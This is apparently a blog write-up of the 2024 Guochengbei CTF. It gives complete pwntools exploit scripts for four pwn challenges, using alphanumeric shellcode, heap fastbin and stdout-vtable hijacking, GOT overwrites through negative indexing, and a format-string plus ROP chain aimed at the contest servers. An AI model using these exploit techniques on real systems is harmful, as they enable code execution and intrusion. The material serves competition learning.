国城杯2024wp

web

调查问卷

填问卷即得flag

pwn

Alpha_Shell

禁用了一大串系统调用,拿shell肯定是别想了,只能走orw。但是传统的orw路线给ban了,只能走openat+sendfile

注意,使用pwrite是不行的,pwrite过程会调用write函数,会导致系统调用无法执行。详见源码:https://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/posix/pwrite64.c#L41

另外此题还限制了可见字符shellcode,需要用alpha3生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
e = ELF("./pwn")

# io = process("./pwn")
io = remote("125.70.243.22", 31796)
# io = gdb.debug("./pwn", """b main
# b *(*main+428)
# c
# c
# s
# catch syscall
# """)
flag = 0x100000900

payload = shellcraft.openat(-100, "flag")
payload += shellcraft.sendfile(1, 3, 0, 100)
payload+= shellcraft.exit(0)

with open('./ss', 'wb') as file:
file.write(asm(payload))

sc = b"""Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf\
1TqIHf9kDqW02DqX0D1Hu3M2E0T2I0Q030z3P3F7k\
4l0l1138124P0U3n060j7k0i0Z180p0k0Y090\
n133v2Z032k0Y0F0h09051k3X112l017o1o01"""
print(len(sc))
io.send(sc)
io.interactive()

vtable_hijack

此题可以直接打__malloc_hook,利用unsortedbin泄露libc+fastbin attack打malloc_hook即可拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b *(*main+83)
# """)
io = remote("125.70.243.22", 31126)
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())

def free(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())


def edit(index, content:bytes):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)



def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:\n", str(index).encode())



add(0, 0x100)
add(1, 0x68)
free(0)
show(0)
ufd = u64(io.recv(6).ljust(8, b"\x00"))
print(f"{hex(ufd)}")
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10
libc_base = ufd - 96 - main_arena_offset + 8
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.success(f"mh>>> {hex(malloc_hook)}")
og = libc_base + 0xd5c07

stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_'] + 0xd8 + libc_base
add(0, 0x100)
add(2, 0x68)
add(3, 0x80)
free(1)
free(2)
show(2)

heap_1_addr = u64(io.recv(6).ljust(8, b"\x00"))

log.success(f"heap>>>{hex(heap_1_addr)}")
add(2, 0x68)
edit(1, p64(malloc_hook-0x23))
add(3, 0x68)
add(4, 0x68)
edit(4, b"a"*0x13+p64(og))
add(5, 0x100)

io.interactive()

补充一下打vtable的方法。官方wp的堆布置策略有问题,会报错。
下面的exp打vtable时麻烦了,其实可以直接打puts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b *(*main+83)
# c
# b execve
# b exit
# b _IO_unbuffer_all
# b _IO_cleanup
# b system
# """)
io = remote("125.70.243.22", 31287)
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())

def free(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())


def edit(index, content:bytes):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)



def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:\n", str(index).encode())



add(0, 0x100)
add(1, 0x68)
free(0)
show(0)
ufd = u64(io.recv(6).ljust(8, b"\x00"))
print(f"{hex(ufd)}")
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10
libc_base = ufd - 96 - main_arena_offset + 8
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.success(f"mh>>> {hex(malloc_hook)}")
log.success(f"libc>>> {hex(libc_base)}")
xsputns = libc_base + 0x70b60
overflow = libc_base + 0x71880
IO_write = libc_base + 0x70650
og = libc_base + libc.sym["system"]
stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_'] + 0xd8 + libc_base
log.success(f"std>>> {hex(stdout_vtable_ptr)}")
fake_heap = stdout_vtable_ptr-0x3b

add(0, 0x100)
add(2, 0x68)
add(3, 0x80)
free(1)
free(2)
show(2)

heap_1_addr = u64(io.recv(6).ljust(8, b"\x00"))


fake_data = p64(0)*2 + p64(0x00ffffffff000000) + b"\x00"* (0xb+8)+ p64(heap_1_addr+0x180)
log.success(f"heap>>>{hex(heap_1_addr)}")
add(2, 0x68)
edit(1, p64(fake_heap))
add(3, 0x68)
add(4, 0x68)
add(5, 0x100)
fake_vtable = p64(og)* 3 + p64(overflow)+ p64(og)*3+ p64(xsputns) +p64(og)*3 +p64(og)+ p64(og)*3 + p64(IO_write)
edit(5, fake_vtable)
edit(4, fake_data)

log.success(f"std>>> {hex(stdout_vtable_ptr)}")
log.success(f"heap>>>{hex(heap_1_addr)}")
log.success(f"og>>> {hex(og)}")

add(6, 0x68)
free(6)
stdout_fake_heap = libc_base+libc.sym["_IO_2_1_stdout_"]-0x43
edit(6, p64(stdout_fake_heap))
add(6, 0x68)
add(7, 0x68)
edit(7, b"\x00"*0x33+p32(0xfbad1880)+b";sh;\x00")
io.sendline(b"5")
io.interactive()


beverage store

这题容器有问题,反馈后也没修好,只能赛后加分……

经典负数索引利用。打随机数就不赘述了,直接说攻击流程。首先篡改exit的got表到buy函数上,让程序陷入循环;再泄露puts地址,拿到libc基地址;再篡改printfgot表到system函数上;最后篡改exit的got表到那个printf("/bin/sh")的函数上即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")
librand = ctypes.cdll.LoadLibrary("libc.so.6")
# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b buy
# """)
io = remote("125.70.243.22" ,31819)
buy = 0x40133b
backdoor = 0x401511
io.sendafter(b"input yours id\n", b"name")
librand.srand(librand.time(0))
rand_byte = str(librand.rand()).encode()
sleep(1)
io.sendline(rand_byte)
print(libc.sym["system"]-libc.sym["puts"])
io.sendlineafter(b"4 wine\n", b"-4")
io.sendafter(b"which one to choose\n", p64(buy))

io.sendlineafter(b"4 wine\n", b"-8")
io.sendafter(b"which one to choose\n", b"\x50")
io.recvuntil(b"succeed\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym["puts"]

system_addr = libc_base + libc.sym["system"]
binsh_addr = 0x4021c2

io.sendlineafter(b"4 wine\n", b"-7")
io.sendafter(b"which one to choose\n", p64(system_addr))

io.sendlineafter(b"4 wine\n", b"-4")
io.sendafter(b"which one to choose\n", p64(backdoor))
io.interactive()

Offensive_Security

先打格式化字符串绕过第一个检查。接下来是两个线程,都没加锁,数据共享,其中guess加载得快些,也就给了我们篡改相应值、绕过login检查的机会。 首先快速给guess发送一个1,sleep之后再给checker发一个1,就实现了绕过。
login成功后是一个栈溢出,考虑构造ROP链。但题目没给libc,那就只能考虑利用现有函数了。注意到printer函数是读取某个文件并将其内容输出,也就是说我们只需要控制rdi寄存器的值为flag字符串的地址即可。这里套用fluff题目的板子构造ROP链把flag写到data段上,再pop rdi即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b login
# b vuln
# b checker
# b guess
# """)
io = remote("125.70.243.22", 31982)
printer = 0x400647
fmt = b"%7$lln"
io.sendafter(b"Username:\n", fmt)
io.sendafter(b"password: \n", b"\x00"*8)

io.send(b"1\n")
sleep(3)
io.send(b"1\n")

bextr_ret = 0x400650
xlatb_ret = 0x40064e
pop_rdi_ret = 0x400661
stosb_rdi_al_ret = 0x40065f
buffer = 0x6002c0

def set_rbx(b:int):
p = b""
p += p64(bextr_ret)
p += p64(0x4000)
p += p64(b - 0xD093)
return p

def set_al(a:bytes,offset:int):
log.success("<<<")
tmp = next(e.search(a)) - offset
log.success(f">>>{hex(tmp)}, a={a}")
p = p64(xlatb_ret)
return set_rbx(tmp) + p

is_first = True
def save_al(val:bytes,offset:int):
global is_first
p = b""
if is_first:
p += p64(pop_rdi_ret)
p += p64(buffer)
is_first = False
p += p64(stosb_rdi_al_ret)
return set_al(val,offset) + p

def write_str(s:bytes):
p=b""
last_al = 0x0
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p


payload = write_str(b"flag")
payload += p64(pop_rdi_ret)
payload += p64(buffer)
payload += p64(printer)

io.sendafter(b"success!\n", b"a"*0x20+b"b"*8+payload)
io.interactive()


国城杯2024wp
https://powchan.github.io.git/2024/12/07/国城杯2024wp/
作者
powchan
发布于
2024年12月7日
许可协议